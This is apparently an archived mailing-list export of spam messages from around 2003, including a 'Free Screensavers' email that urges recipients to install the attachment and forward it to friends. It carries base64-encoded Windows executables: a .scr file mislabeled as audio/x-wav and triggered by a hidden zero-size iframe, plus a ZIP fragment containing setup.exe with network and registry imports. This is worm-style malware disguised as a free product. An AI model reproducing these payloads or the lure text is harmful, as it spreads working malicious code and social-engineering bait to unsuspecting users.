rzosoqC94uJsQSFLcG3T6q74bkJ6hWBveRkRXdqqAd+yYWQe8CE1ANHFAOg5VBQAwkt1UtANKXoe
bdlgF1RLZXkdPx3sFVh5WCHGXSCx0Q1RLx+fS2xith1EX0H3G9kc3GsYUD/ekOHddnC3V05DYgpB
HRTCUonQWbMlgNO8y3Euc+agAQ4taIFyZqc604gGuyFJZEIftu3vNUyyVTTvyA1obkGV8bRZOCjo
w47FYyUND3Uo8jbNOwtH/bz/cwULy7IsyxcUBBMQAyzLsix0EQ83CX+X77A08AdQRUwBT3oBXT6o
3V9sIxwPAQsBBhAGAzUnPwWsGJbwQM3btrYXBgRlDxLQEPbWRUPbGBAPz5u2DQ1d9W+MwGBDUipP
AbpCvivwPfgBLhBsIgIcDhHWIfTSQsHgMQQgYC5yMPnUgl6nvA+QNdfWBwVALk0j2dr5X1i28IBO
AAEGA3u8wJ9zWxbW5n9fSs6fgAE2VPga48YEAEmSJAkAAAAq/wAAYL4AQEQAjb4A0Pv/kFeQg83/
6w6QkJCQigaIB0ZHAdt1B4seg+78Edty7SvAZkCQAdt1B4seg+78EdsRwAHbcwt1GYseg+78Edty
EEgB23UHix6D7vwR2xHA69QxyYPoA3IRweAIigZGg/D/dHjR+InF6wsB23UHix6D7vwR2xHJAdt1
B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QD7//+D0QGNFC+D
/fx2D4oCQogHR0l19+lP////kIsCg8IEiQeDxwSD6QR38QHP6Tj///9eVl+56wIAAIoHRyzoPAF3
94A/B3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAQAiwcJwHRFi18EjYQwEOUE
AAHzUIPHCP+WnOUEAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+WoOUEAAnAdAeJA4PDBOvY/5ak
5QQAYenHsPv/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAA
AAACAAEAAABAAACAAgAAAGgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAFgAAADU8AQA6AIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAABAAkEAACAAAAAwPMEACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AQBpAAAAqAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAwAAAAOz0BAAiAAAAAAAAAAAAAADQwAQAKAAA
ACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA
gACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAA
AAAAAAh3d3d3d3d3d3d3cHAAAACP//////////////cHAAAAj//////////////3BwAAAI/wAAAP
////////9wcAAACP//////////////cHAAAAj/AAAA/////////3BwAAAI//////////////9wcA
AACP//////////////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAA
AAAAD/cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAA
j/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP//////////////cHAAAAj/AAAA//////
///3BwAAAI//////////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI/w
AAAP////////9wcAAACP//////////////cHAAAAj/AAAA////8PAA/3BwAAAI//////////////
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI8P8P8P8P8P8P8P+AcAAACPD/D/
D/D/D/D/D/gHAAAACPiPiPiPiPiPiPiPgAAAAAAAAAAAAAAAAAAAAAAAAPAAAB/gAAAPwAAAB8AA
AAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB+AAAA/ySSS/
uMMEACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAA
gIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAA
AACHd3d3d3cAAI//////9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8ADwD/cAAI//////9wAAj//////3AACPDw8PDw8AAAD4+Pj48AAA
AAAAAAAAAACADwAAAAcAAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAIAPAADVXwAA4MQEAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAoAQAAAgAAAAAA
AAAAAAAAAAAAANT1BACc9QQAAAAAAAAAAAAAAAAA4fUEAKz1BAAAAAAAAAAAAAAAAADu9QQAtPUE
AAAAAAAAAAAAAAAAAPb1BAC89QQAAAAAAAAAAAAAAAAAAfYEAMT1BAAAAAAAAAAAAAAAAAAN9gQA
zPUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAGPYEACb2BAA29gQAAAAAAET2BAAAAAAAUvYEAAAAAABi
9gQAAAAAAG72BAAAAAAANAAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAE1QUi5kbGwA
VVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9j
QWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdPcGVuS2V5QQAAAFdOZXRPcGVuRW51bUEAAAB3c3By
aW50ZkEAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0YXRlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAUEsBAhQACgAAAAAAKqY6Lu0T0I8AsgAAALIAAEQAAAAAAAAAAAAgAICBAAAAAERP
Q1VNRX4xXEFETUlOSX4xXExPQ0FMU34xXFRlbXBcc2V0dXAuZXhlAHNjcgAwMDAwMDAwMDAwMDAw
MDAwMDAudHh0UEsFBgAAAAABAAEAcgAAAGKyAAAAAA==

--#IKZFI44543#
Content-Type: application/octet-stream;
	name="ersjhqz.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="ersjhqz.txt"


w
wCwownwtwewnwtw-wTwywpwew:w wawpwpwlwiwcwawtwiwownw/wowcwtwewtw-wswtwrwewawmw;w
wCwownwtwewnwtw-wTwrwawnwswfwewrw-wEwnwcwowdwiwnwgw:w wbwawswew6w4w
wCwownwtwewnwtw-wDwiwswpwowswiwtwiwownw:w wawtwtwawcwhwmwewnwtw;w
w
whwpwdwuwpwowywqwuwhwowvwvwiwhwjwxwuwlwbwiwjwvwowmwrwbwdwywvwewfwvwewrwswtwrwewnwkwlwxwuwmwcwjwvwdwfwtwewgwqwmwuwxwtwuwswpwuwswxwowuwlwvwqwuwbwfwwwtwowtwwwnwhwxw
wbwlwwwmwfwuwowuwlwjwmwrwawdwgwuwdwmwmwxwywhwrwswtwcwkwswjwgwwwpwawywlwcwswbwfwpwawxwqwtwmwfwgwmwqwuwswvwnwhwhwrwrwewvwxwvwdwqwiwmwvwpwjwowfwuwowawuwjwnwowkwfwnw
wkwqwawpwuwnwbwywvwnwlwvwhwwwbwywawqwdwywlwrwtwtwkwowwwbwowbwowpwhwywgwawcwswnwjwpwewqwlwewfwxwpwcwpwfwfwhwqwawawywqwmwtwwwiwtwhwwwmwnwbwrwawnwywfwvwjwmwxwtwuwbw
wjwbwnwrwdwgwvwxwtwnwpwjwiwwwbwswcwbwywvwnwmwdwpwiwrwlwkwjwnwfwnwcwpwjwgwgwiwvwnwmwtwlwfwhwmwwwkwowrwawbwxwvwjwawxwwwtwwwgwawqwlwswywwwqwjwrwgwcwnwwwnwwwnwrwswnw
wpwcwhwnwawtwhwbwcwuwnwkwvwvwlwuwjwkwhwowvwywnwtwdwbwvwqwpwewpwiwnwxwcwgwrwpwewtwbwbwcwkwmwkwbwtwxwswkwfwkwqwlwfwnwewbwywiwbwxwqwfwcwkwwwgwewqwkwxwrwvwhwuwpwkwnw
wqwmwvwmwlwqwtwtwhwtwmwdwkwowxwbwnwgwcwawgwjwxwmwlwnwhwgwywbwwwhwqwewjwvwswpwewgwhwkwowuwuwnwqwvwqwvwbwvwnwkwmwnwowbwmwlwnwewqwlwswewbwkwfwhwrwcwfwewhwmwqwawowuw
wiwcwrwbwowswmwiwvwuwowawywywrwkwrwuwlwiwxwkwfwhwvwewlwlwkwkwhwswqwrwlwxwqwbwbwwwgwlwuwkwrwswkwwwfwwwewhwrwywiwkwiwswawuwnwcwmwcwqwdwdwbwowuwuwkwwwiwnwqwlwhwxwxw
wrwhwswqwdwvwjwxwfwgwkwbwrwxwnwgwqwiwawawfwhwgwqwbwowqwnwfwpwtwawrwxwhwhwkwawpwtwfwwwuwwwewqwewwwowkwcwqwcwewfwvwiwtwswuwawbwnwfwgwbwowwwhwowhwswmwawowswiwkwawow
wtwvwqwfwqwgwkwrwpwswnwqwkwgwqwewtwfwewywwwjwdwmwywtwywmwjwjwewawowjwwwiwhwwwgwwwbwewawdwqwdwqwhwnwbwhwswvwfwvwfwcwjwiwvwdwrwlwrwiwiwqwewjwewjwlwnwewdwewwwmwewvw
wywewqwewiwdwswewkwfwdwswfwmwewvwrwawuwkwewowfwgwtwdwpwmwqwnwdwawfwnwowmwuwtwlwnwqwtwiwawhwawmwlwswkwkwywiwdwmwbwfwgwfwowxwrwgwjwxwdwywrwhwxwfwmwdwhwbwkwwwfwywmw
wxwswnwewcwiwbwmwewgwdwvwgwkwtwywewowrwwwhwqwwwswwwpwawfwowlwwwdwfwnwewfwiwtwkwywhwwwjwhwewowbwlwowxwfwwwawjwqwcwnwewrwpwcwuwmwowuwwwrwrwtwswxwlwewuwcwvwcwswewiw
whwfwhwawvwmwewuwqwjwmwewkwtwgwgwkwjwowswxwuwpwtwcwkwewewxwywlwewiwbwkwtwhwowjwhwewrwhwuwbwfwbwqwjwnwewrwxwowowfwfwwwkwkwmwrwewnwowowywbwawhwowrwewxwswdwwwhwawkw
wjwiwiwlwrwvwcwnwiwuwgwmwcw

--#IKZFI44543#


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nomadic Screensavers <free@xxxscreensavers.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Free Screensavers 4 U
Date: Mon,16 Jun 2003 15:38:30 PM
Lines: 820
Approved: news@gmane.org
Message-ID: <20030616073922.5EF054829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#GMJGP63966#
X-Trace: ger.gmane.org 1416622516 26711 80.91.229.3 (22 Nov 2014 02:15:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 01:39:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.parisc-linux.org (unknown [202.113.25.81])
	by dsl2.external.hp.com (Postfix) with SMTP id 5EF054829
	for <parisc-linux@parisc-linux.org>; Mon, 16 Jun 2003 01:39:22 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18672

--#GMJGP63966#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:C09ue625d16131oG height=3D0 width=3D0>
</iframe>
<FONT></FONT>
Hello,<BR>The attached product is send as a part of our official campaign<BR>for the popularity of our product.<BR>You have been chosen to try a free fully functional sample of our<BR>product.If you are satified then you can send it to your friends.<BR>All you have to do is to install the software and register an account<BR>with us using the links provided in the software. Then send this software<BR>to your friends using your account ID and for each person who registers<BR>with us through your account, we will pay you $1.5.Once your account reaches<BR>the limit of $50, your payment will be send to your registration address by<BR>check or draft.<BR><BR>Please note that the registration process is completely free which means<BR>by participating in this program you will only gain without loos
 ing anything.<BR><BR>Best Regards,<BR>Admin,</BODY></HTML>

--#GMJGP63966#
Content-Type: audio/x-wav;
	name=Screensavers.scr
Content-Transfer-Encoding: base64
Content-ID: <C09ue625d16131oG>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADR6StslYhFP5WIRT+ViEU/7pRJP5SIRT8WlEs/hYhFP32XTz/RiEU/lYhF
P5aIRT/3l1Y/nohFP5WIRD/tiEU/fZdOP5GIRT8tjkM/lIhFP1JpY2iViEU/AAAAAAAAAABQRQAA
TAEDAHoBXT4AAAAAAAAAAOAADwELAQYAALAAAAAQAAAAMAQA4OMEAABABAAA8AQAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAABQAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAABD1BAB8AQAAAPAEABAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAHJyMDEAAAAAADAEAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBy
cjAyAAAAAACwAAAAQAQAAKYAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAPAEAAAI
AAAAqgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
